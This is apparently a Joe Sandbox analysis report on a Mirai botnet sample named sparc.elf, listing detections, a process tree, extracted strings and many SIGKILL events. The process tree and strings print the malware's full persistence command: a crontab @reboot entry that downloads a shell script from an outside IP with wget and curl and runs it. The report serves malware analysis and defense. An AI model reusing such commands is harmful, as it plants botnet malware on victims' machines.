Edit tour

Linux Analysis Report
sparc.elf

Overview

General Information

Sample name:sparc.elf
Analysis ID:1646359
MD5:508cdc500bdb196e3bb7183412ee192c
SHA1:52d5e296211210fdbbf99ec363f418d42cfae7c2
SHA256:23ffd1813bea2bebcf6d2ae377f9ba4f1c5786aef59a44093a940ff69934145e
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:84
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Sample tries to kill a massive number of system processes
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Sample tries to kill multiple processes (SIGKILL)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Reads system version information
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sleeps for long times indicative of sandbox evasion
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1646359
Start date and time:2025-03-23 23:07:21 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 5m 28s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:sparc.elf
Detection:MAL
Classification:mal84.spre.troj.linELF@0/48@2/0
  • VT rate limit hit for: http://155.138.230.16/bins/bins.sh;
Command:/tmp/sparc.elf
PID:5729
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
we kinda rocking ngl
Standard Error:
  • system is lnxubuntu20
  • sparc.elf (PID: 5729, Parent: 5532, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/sparc.elf
    • sparc.elf New Fork (PID: 5731, Parent: 5729)
      • sh (PID: 5741, Parent: 5731, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"
        • sh New Fork (PID: 5747, Parent: 5741)
          • sh New Fork (PID: 5749, Parent: 5747)
          • crontab (PID: 5749, Parent: 5747, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l
          • sh New Fork (PID: 5750, Parent: 5747)
          • chmod (PID: 5750, Parent: 5747, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x bins.sh
          • sh New Fork (PID: 5751, Parent: 5747)
          • sh (PID: 5751, Parent: 5747, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh bins.sh
          • sh New Fork (PID: 5752, Parent: 5747)
          • curl (PID: 5752, Parent: 5747, MD5: add6bc2195e82c55985ccf49fd4048e6) Arguments: /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh
        • sh New Fork (PID: 5748, Parent: 5741)
        • crontab (PID: 5748, Parent: 5741, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -
  • systemd New Fork (PID: 5788, Parent: 1)
  • snap-failure (PID: 5788, Parent: 1, MD5: 69136a7d575731ce62349f2e4d3e5c36) Arguments: /usr/lib/snapd/snap-failure snapd
    • systemctl (PID: 5803, Parent: 5788, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop snapd.socket
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
sparc.elfJoeSecurity_Mirai_9Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    5733.1.00007fb70c011000.00007fb70c026000.r-x.sdmpJoeSecurity_Mirai_9Yara detected MiraiJoe Security
      5729.1.00007fb70c011000.00007fb70c026000.r-x.sdmpJoeSecurity_Mirai_9Yara detected MiraiJoe Security
        No Suricata rule has matched

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: sparc.elfAvira: detected
        Source: sparc.elfVirustotal: Detection: 20%Perma Link
        Source: sparc.elfReversingLabs: Detection: 19%
        Source: sparc.elfString: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/sh/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdog/sparc->unknown
        Source: sparc.elfString: /bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
        Source: sparc.elfString: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") | crontab -/bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca

        Networking

        barindex
        Source: global trafficTCP traffic: 155.138.230.16 ports 1290,0,1,2,80,9
        Source: global trafficTCP traffic: 192.168.2.13:49950 -> 155.138.230.16:1290
        Source: /tmp/sparc.elf (PID: 5729)Socket: 127.0.0.1:4161Jump to behavior
        Source: global trafficTCP traffic: 192.168.2.13:45502 -> 155.138.230.16:80
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficDNS traffic detected: DNS query: api.znet.homes
        Source: sparc.elfString found in binary or memory: http://155.138.230.16/bins/bins.sh;

        System Summary

        barindex
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 2, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 3, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 4, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 5, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 6, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 7, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 8, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 9, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 10, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 11, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 12, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 13, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 14, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 15, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 16, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 17, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 18, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 19, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 20, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 21, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 22, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 23, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 24, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 25, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 26, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 27, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 28, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 29, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 30, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 35, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 77, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 78, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 79, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 80, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 81, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 82, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 83, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 84, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 85, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 86, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 88, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 89, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 91, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 92, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 93, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 94, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 95, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 96, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 97, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 98, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 99, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 100, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 101, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 102, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 103, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 104, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 105, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 106, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 107, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 108, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 109, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 110, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 111, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 112, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 113, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 114, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 115, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 116, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 117, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 118, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 119, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 120, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 121, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 122, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 123, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 124, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 125, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 126, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 127, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 128, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 129, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 130, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 131, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 132, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 134, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 142, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 145, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 158, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 202, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 203, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 204, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 205, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 206, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 207, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 216, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 219, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 220, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 221, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 222, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 223, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 224, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 225, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 226, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 227, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 228, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 229, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 230, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 231, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 232, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 233, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 234, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 235, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 236, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 237, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 238, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 239, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 240, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 241, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 242, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 243, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 244, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 245, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 246, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 247, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 248, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 249, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 250, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 251, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 252, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 253, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 254, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 255, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 257, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 258, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 259, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 260, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 261, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 262, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 263, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 264, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 265, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 266, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 267, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 268, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 269, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 270, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 271, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 272, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 273, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 274, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 275, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 276, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 291, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 293, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 298, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 299, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 303, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 304, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 306, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 307, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 308, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 309, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 310, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 311, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 312, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 313, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 314, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 315, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 316, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 317, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 318, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 319, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 320, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 321, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 322, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 323, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 324, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 325, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 326, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 327, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 328, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 332, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 347, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 371, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 378, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 418, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 419, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 508, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 518, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 519, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 656, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 657, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 658, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 659, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 672, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 674, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 676, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 679, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent to PID below 1000: pid: 680, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 2, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 4, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 5, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 6, result: successfulJump to behavior
